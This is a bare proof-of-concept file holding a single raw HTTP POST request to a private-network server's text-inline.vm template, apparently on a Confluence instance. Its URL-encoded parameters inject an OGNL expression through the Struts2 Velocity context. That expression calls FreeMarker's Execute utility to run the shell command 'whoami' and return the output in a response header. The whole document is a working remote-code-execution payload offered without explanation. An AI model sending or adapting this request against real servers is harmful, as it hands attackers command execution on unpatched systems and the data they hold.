PoC.txt

POST http://192.168.80.139:8090/template/aui/text-inline.vm HTTP/1.1
Host: 192.168.80.139:8090
Content-Length: 372
Content-Type: application/x-www-form-urlencoded
Connection: close

label=aaa%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.poc%5B0%5D%2C%7B%7D%29%2B%5Cu0027&poc=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%5Cu0027Cmd-Ret%5Cu0027%2C%28new+freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29